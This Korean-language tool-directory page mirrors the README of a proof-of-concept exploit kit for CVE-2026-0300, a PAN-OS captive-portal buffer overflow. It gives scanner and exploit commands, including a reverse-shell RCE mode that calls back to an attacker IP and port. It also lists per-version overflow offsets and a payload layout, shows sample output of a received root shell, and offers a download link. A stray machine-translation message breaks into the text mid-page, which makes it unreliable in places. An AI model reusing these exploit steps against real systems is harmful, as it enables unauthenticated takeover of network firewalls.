Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC-CVE-2026-0300-exploit — Palo Alto - CVE-2026-0300 exploit | Kitploit
도구/GitHubGitHub/sam00/poc-cve-2026-0300-exploit
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationNetwork SecurityPenetration TestingShellcode GenerationPayload DevelopmentBinary Exploitation
GitHubsam00/poc-cve-2026-0300-exploit

POC-CVE-2026-0300-exploit

Palo Alto - CVE-2026-0300 exploit

13일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2026-0300 — PAN-OS User-ID 인증 포털 버퍼 오버플로 익스플로잇

치명적 (CVSS 9.3) — Palo Alto Networks PAN-OS 캡티브 포털에서의 인증되지 않은 원격 코드 실행

목차

  • 개요
  • 취약점 세부 정보
  • 영향받는 버전
  • 아키텍처 다이어그램
  • 프로젝트 구조
  • 설치
  • 스캐너 사용법 — 단계별
  • 익스플로잇 사용법 — 단계별
  • 페이로드 설계
  • 완화 조치
  • 면책 조항

개요

CVE-2026-0300은 Palo Alto Networks PAN-OS 소프트웨어의 User-ID 인증 포털(캡티브 포털이라고도 함) 서비스에서 발생하는 치명적인 버퍼 오버플로 취약점입니다. 인증되지 않은 공격자는 특수하게 제작된 패킷을 전송하여 PA 시리즈 및 VM 시리즈 방화벽에서 루트 권한으로 임의 코드를 실행할 수 있습니다.

이 저장소에는 다음을 포함하는 개념 증명(PoC) 익스플로잇 툴킷이 포함되어 있습니다:

  • 버전별 오프셋과 x86_64 리버스 셸 셸코드를 갖춘 페이로드 생성기
  • 취약한 캡티브 포털 대상을 탐지하는 스캐너
  • 감지, 크래시(DoS), 전체 RCE의 세 가지 모드를 지원하는 익스플로잇

취약점 세부 정보

필드값
CVE IDCVE-2026-0300
심각도치명적
CVSS 4.09.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H)
CWECWE-787: Out-of-bounds Write
CAPECCAPEC-100: Overflow Buffers
영향인증되지 않은 원격 코드 실행 (root)
악용 현황야생에서 제한적인 악용 관찰됨

설명

PAN-OS 소프트웨어의 User-ID 인증 포털 서비스에 존재하는 버퍼 오버플로 취약점으로 인해, 인증되지 않은 공격자가 특수하게 제작된 패킷을 전송하여 방화벽에서 루트 권한으로 임의 코드를 실행할 수 있습니다. 캡티브 포털 HTTP 서비스는 HTTP 헤더를 파싱할 때 고정 크기 스택 버퍼를 사용하므로, 과도하게 큰 헤더 값(Cookie, User-Agent, URI 또는 POST 본문)을 통해 오버플로가 발생할 수 있습니다.

노출에 필요한 구성

대상이 취약하려면 다음 두 조건이 모두 충족되어야 합니다:

  1. User-ID 인증 포털 활성화 — Device > User Identification > Authentication Portal Settings > Enable Authentication Portal
  2. 응답 페이지가 포함된 인터페이스 관리 프로필 — 신뢰할 수 없는/인터넷 트래픽이 유입될 수 있는 영역의 L3 인터페이스에 연결됨

권고 참조

  • 공식 권고: https://security.paloaltonetworks.com/CVE-2026-0300
  • 모범 사례 지침: https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CqbiCAC

영향받는 버전

영향 없음: Prisma Access, Cloud NGFW, Panorama 어플라이언스.


아키텍처 다이어그램

시스템 아키텍처```

┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-0300 Exploit Toolkit │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │ │ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │ │ │ Scanner │ │ + Version Check │ │ │ │ │ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │ │ │ │ │ Version │ │ │ │ │ Reports: │ │ Offsets │ │ │ │ │ • Portal detected? │ │ (10.2/11.1/ │ │ │ │ │ • PAN-OS version │ │ 11.2/12.1) │ │ │ │ │ • Vulnerable? │ └──────────────┘ │ │ │ ▼ │ ┌──────────────┐ │ │ │ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │ │ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │ │ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │ │ └────────────┘ └─────────────────┘ │ │ shell) │ │ │ │ │ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │ │ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │ │ │ │ DoS validation │ │ │ Builder │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ └────────────────────┘ │ │ └─▶│ MODE: rce │ │ │ │ Reverse shell │ ┌──────────────────────┐ │ │ └──────────────────────┘ │ ReverseShellListener │ │ │ │ │ (callback receiver) │ │ │ ▼ └──────────────────────┘ │ │ ┌──────────────────┐ │ │ │ Target Firewall │ │ │ │ PAN-OS Captive │ │ │ │ Portal Service │ │ │ └──────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘

root@kitploit:~
### 스캐너 흐름```
┌─────────────┐
│  Start Scan │
└──────┬──────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Target reachable?│──────────▶│  Skip port  │
└──────┬───────────┘            └─────────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Send HTTP GET    │
│ to common ports  │
│ (443,80,8080,    │
│  8443,8843)      │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Captive Portal   │──────────▶│ Not exposed │
│ fingerprint?     │            └─────────────┘
│ (login.esp,      │
│  User-ID, PA-,   │
│  PAN-OS, etc.)   │
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Extract PAN-OS   │
│ version from     │
│ Server header /  │
│ response body    │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Version in       │──────────▶│ Not         │
│ vulnerable       │            │ vulnerable  │
│ range?           │            └─────────────┘
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Report:          │
│ • VULNERABLE     │
│ • Version        │
│ • Matched ranges │
│ • SSL cert info  │
└──────────────────┘

익스플로잇 흐름 (RCE 모드)```

┌──────────────────────────────────────────────────────────────────┐ │ EXPLOIT EXECUTION FLOW │ │ │ │ 1. Generate Payload │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │ │ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 2. Embed in HTTP Header ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ GET / HTTP/1.1 │ │ │ │ Host: target:443 │ │ │ │ Cookie: │ │ │ │ Connection: close │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 3. Start Listener ▼ │ │ ┌──────────────────┐ │ │ │ Listener binds │ ← Must start BEFORE sending payload │ │ │ on callback │ │ │ │ IP:port │ │ │ └──────────────────┘ │ │ │ │ │ 4. Send via SSL/TLS ▼ │ │ ┌──────────────────┐ │ │ │ Raw socket │ → Target Captive Portal service │ │ │ sends request │ │ │ └──────────────────┘ │ │ │ │ │ 5. Buffer Overflow ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Portal parses Cookie header into fixed-size stack buffer│ │ │ │ Buffer overflows → overwrites saved FP + return address │ │ │ │ Return address → ROP gadget (jmp rsp) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 6. Code Execution ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ jmp rsp → NOP sled → shellcode executes │ │ │ │ socket() → connect(attacker_ip, port) → dup2() → │ │ │ │ execve("/bin/sh") │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 7. Reverse Shell ▼ │ │ ┌──────────────────┐ │ │ │ Listener accepts│ → Attacker has root shell on firewall │ │ │ callback │ │ │ └──────────────────┘ │ └──────────────────────────────────────────────────────────────────┘

root@kitploit:~
---

## 프로젝트 구조```
POC-CVE-2026-0300-exploit/
├── payload_gen.py      # Payload generation (shellcode, ROP, HTTP request builder)
├── scan.py             # Vulnerability scanner (detect Captive Portal + version)
├── exploit.py          # Exploit orchestrator (detect/crash/rce modes)
├── requirements.txt    # Python dependencies
└── README.md           # This file

설치```bash

Clone the repository

git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git cd POC-CVE-2026-0300-exploit

Install dependencies (requests is optional — raw sockets are used by default)

pip3 install -r requirements.txt

root@kitploit:~
**요구 사항**: Python 3.8+, 핵심 기능에는 표준 라이브러리만 사용됩니다. `requests`는 선택 사항입니다.

---

## 스캐너 사용법 — 단계별

스캐너는 취약한 PAN-OS Captive Portal 대상을 식별하기 위해 안전하고 비침습적인 검사를 수행합니다.

### 단계 1: 단일 대상 스캔```bash
python3 scan.py --target 192.168.1.1

스캐너는 다음을 수행합니다:

  • 일반적인 포트(443, 80, 8080, 8443, 8843)를 탐색합니다.
  • HTTP 요청을 보내고 Captive Portal 지문을 확인합니다.
  • Server 헤더와 응답 본문에서 PAN-OS 버전을 추출합니다.
  • 버전이 취약한 범위에 속하는지 확인합니다.
  • 색상으로 구분된 보고서를 출력합니다.

2단계: 특정 포트로 스캔```bash

python3 scan.py --target 192.168.1.1 --port 443

root@kitploit:~
### 3단계: 파일에서 여러 대상 스캔

한 줄에 대상 하나씩 `targets.txt` 파일을 생성합니다:```
192.168.1.1
10.0.0.5
firewall.example.com
# Comments are ignored

I received no source content to translate. Please provide the Markdown text for chunk 17 of 33, and I will translate it into Korean following all the specified rules.```bash python3 scan.py --targets targets.txt

root@kitploit:~
### 4단계: 결과를 JSON으로 저장```bash
python3 scan.py --target 192.168.1.1 --json scan_results.json

스캐너 출력 예시```

==================================================================== CVE-2026-0300 VULNERABILITY SCANNER PAN-OS User-ID Authentication Portal Buffer Overflow

Target: 192.168.1.1 Ports: 443, 80, 8080, 8443, 8843 Time: 2026-08-06T12:00:00+00:00 Portal: DETECTED Status: VULNERABLE

─ Port 443 ─ HTTP Status: 200 PAN-OS Version: 11.2.7 Vulnerable: True Fingerprints: login.esp, userId, Authentication Portal, PAN-OS SSL Subject: {'commonName': 'firewall.example.com'}

root@kitploit:~
| 지표 | 방법 |
|-----------|--------|
| 캡티브 포털 노출 | HTTP 핑거프린트 매칭 (login.esp, User-ID, PA-, PAN-OS 패턴) |
| PAN-OS 버전 | 서버 헤더 파싱, 응답 본문 정규식 추출 |
| 취약한 버전 | CVE-2026-0300 영향을 받는 버전 범위와 비교 |
| SSL 인증서 | 대상 식별을 위한 인증서 subject/issuer |

---

## 익스플로잇 사용 — 단계별

이 익스플로잇은 강도가 증가하는 세 가지 모드를 지원합니다.

### 모드 1: 감지 (안전, 비침습적)

적당히 과대한 크기의 헤더를 전송하고 정상 요청과 응답을 비교합니다. 서비스를 중단시키지 않습니다.```bash
python3 exploit.py --target 192.168.1.1 --mode detect

기능:

  • 4KB Cookie 헤더를 전송합니다(과대하지만 무기화되지는 않음)
  • 기준 비교를 위해 정상 요청을 전송합니다
  • 대상이 과대 입력에 다르게 응답하는지 보고합니다
  • 응답이 다를 경우 취약점 가능성을 표시합니다

모드 2: 크래시(DoS 검증)

유효하지 않은 반환 주소(0x41414141)가 포함된 버퍼 오버플로 페이로드를 전송하여 Captive Portal 서비스를 크래시시킵니다.```bash python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7

root@kitploit:~
**What it does**:
- 버전별 오버플로 페이로드를 생성합니다.
- 반환 주소를 0x4141414141414141로 덮어씁니다.
- 선택한 오버플로 벡터(기본값: Cookie 헤더)를 통해 전송합니다.
- 후속 요청으로 서비스 크래시를 확인합니다.
- 페이로드 전송 후 서비스가 다운되었는지 보고합니다.

**Options**:
- `--vector cookie|ua|uri|post` — 오버플로 벡터를 선택합니다 (기본값: cookie)
- `--http` — HTTPS 대신 HTTP를 사용합니다

### Mode 3: Full RCE (Reverse Shell)

리버스 셸 페이로드가 포함된 버퍼 오버플로를 전송합니다. 콜백을 수신하기 위해 리스너를 시작합니다.```bash
python3 exploit.py --target 192.168.1.1 --mode rce \
    --version 11.2.7 \
    --callback-ip 10.0.0.1 \
    --callback-port 4444

기능:

  • 페이로드 생성: 패딩 + ROP 가젯 (jmp rsp) + NOP 슬레드 + 리버스 셸 셸코드
  • 콜백 IP:포트에서 TCP 리스너 시작
  • 대상에 무기화된 HTTP 요청 전송
  • 리버스 셸 콜백 대기
  • 연결이 수신되면 성공 보고

필수 인자:

  • --version — 대상 PAN-OS 버전 (버퍼 오프셋과 ROP 가젯 결정)
  • --callback-ip — 사용자 IP 주소 (대상에서 접근 가능해야 함)
  • --callback-port — 리버스 셸 콜백 포트 (기본값: 4444)

선택 인자:

  • --vector cookie|ua|uri|post — 오버플로우 벡터 (기본값: cookie)
  • --nop-sled 128 — NOP 슬레드 크기 (바이트 단위) (기본값: 128)
  • --timeout 30 — 연결 및 리스너 타임아웃 (초 단위)
  • --http — HTTPS 대신 HTTP 사용
  • --json report.json — 익스플로잇 보고서를 JSON으로 저장

익스플로잇 출력 예시 (RCE)```

[] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie) [] Callback: 10.0.0.1:4444 [] Payload generated: Vector: cookie Offset: 3072 bytes to RIP Padding: 3072 bytes ROP chain: 8 bytes NOP sled: 128 bytes Shellcode: 184 bytes Total: 3392 bytes SHA256: a1b2c3d4... [] HTTP request built: 3475 bytes [] Starting listener on 10.0.0.1:4444... [] Sending exploit payload... [*] Payload sent. Waiting for callback (timeout: 30s)... [+] REVERSE SHELL RECEIVED from 192.168.1.1!

==================================================================== CVE-2026-0300 EXPLOIT REPORT PAN-OS User-ID Authentication Portal Buffer Overflow

Mode: RCE Target: 192.168.1.1:443 Version: 11.2.7 Vector: cookie Callback: 10.0.0.1:4444 Shell: RECEIVED From: 192.168.1.1:54321

root@kitploit:~
### 지원 버전 및 벡터

**버전** (버전별 버퍼 오프셋 포함):

| 버전 | 버퍼 오프셋 | ROP 가젯 | 기본 벡터 |
|---------|--------------|------------|----------------|
| 10.2.7 | 2048 | jmp rsp | cookie |
| 10.2.10 | 2048 | jmp rsp | cookie |
| 10.2.13 | 2048 | jmp rsp | cookie |
| 10.2.16 | 2048 | jmp rsp | cookie |
| 10.2.18 | 2048 | jmp rsp | cookie |
| 11.1.0 | 1024 | jmp rsp | cookie |
| 11.1.4 | 1024 | jmp rsp | ua |
| 11.1.6 | 1280 | jmp rsp | ua |
| 11.1.7 | 1280 | jmp rsp | ua |
| 11.1.10 | 1280 | jmp rsp | ua |
| 11.1.13 | 1280 | jmp rsp | ua |
| 11.2.0 | 3072 | jmp rsp | cookie |
| 11.2.4 | 3072 | jmp rsp | cookie |
| 11.2.7 | 3072 | jmp rsp | cookie |
| 11.2.10 | 3072 | jmp rsp | cookie |
| 12.1.0 | 4096 | jmp rsp | post |
| 12.1.4 | 4096 | jmp rsp | post |

**벡터**:

| 벡터 | 헤더/위치 | 설명 |
|--------|----------------|-------------|
| `cookie` | Cookie 헤더 | 과도하게 큰 Cookie 값으로 인한 오버플로 |
| `ua` | User-Agent 헤더 | 과도하게 큰 User-Agent 값으로 인한 오버플로 |
| `uri` | 요청 URI 경로 | 과도하게 큰 URI 경로로 인한 오버플로 |
| `post` | POST 본문 | 과도하게 큰 POST 양식 데이터로 인한 오버플로 |

---

## 페이로드 설계

### 버퍼 오버플로 레이아웃```
┌─────────────────────────────────────────────────────────────────┐
│  HTTP Header Value (Cookie / User-Agent / URI / POST body)     │
├──────────┬──────────┬──────────┬──────────┬────────────────────┤
│  Padding │  Saved   │  ROP     │  NOP     │  Shellcode         │
│  (to     │  Frame   │  Gadget  │  Sled    │  (reverse shell)   │
│  offset) │  Pointer │  (jmp    │  (\x90   │                    │
│          │  (8 B)   │  rsp)    │  * N)    │                    │
└──────────┴──────────┴──────────┴──────────┴────────────────────┘
           ↑                     ↑
           Buffer overflow       Return address overwritten
           overwrites here       with jmp rsp gadget

Shellcode

이 익스플로잇은 위치 독립적인(position-independent) x86_64 Linux 셸코드를 사용하며, 다음을 수행합니다:

  1. TCP 소켓을 생성합니다 (socket(AF_INET, SOCK_STREAM, 0))
  2. 공격자의 IP:포트로 역접속합니다 (connect())
  3. stdin/stdout/stderr를 소켓으로 리다이렉트합니다 (dup2())
  4. 셸을 실행합니다 (execve("/bin/sh", NULL, NULL))

총 셸코드 크기: ~184바이트, syscall 명령어(\x0f\x05) 포함.


완화 조치

즉시 조치

  1. 액세스 제한 — User-ID 인증 포털을 신뢰할 수 있는 내부 IP 주소로만 제한
  2. 응답 페이지 비활성화 — 신뢰할 수 없는 인터페이스에서 (Network > Interface > Advanced > Management Interface Profile)
  3. 인증 포털 비활성화 — 필요하지 않은 경우 (Device > User Identification > Authentication Portal Settings)
  4. PAN-OS 업그레이드 — 수정된 버전으로

수정된 버전

  • PAN-OS 10.2: 10.2.7-h34 이상
  • PAN-OS 11.1: 11.1.15 이상
  • PAN-OS 11.2: 11.2.12 이상
  • PAN-OS 12.1: 12.1.7 이상

고지 사항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유한 시스템이나 명시적 서면 허가를 받은 시스템에만 사용하십시오. 프로덕션 시스템에 대한 무단 사용은 불법이며 컴퓨터 사기 및 남용 관련 법률을 위반할 수 있습니다.

작성자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다. 항상 책임 있는 공개(responsible disclosure) 관행을 따르고 적용 가능한 법률과 규정을 준수하십시오.

도구 다운로드
PAN-OS 브랜치취약한 버전수정 버전
10.210.2.7, 10.2.10, 10.2.13, 10.2.16, 10.2.1810.2.7-h34+
11.111.1.0–11.1.1411.1.15+
11.211.2.0–11.2.1111.2.12+
12.112.1.0–12.1.612.1.7+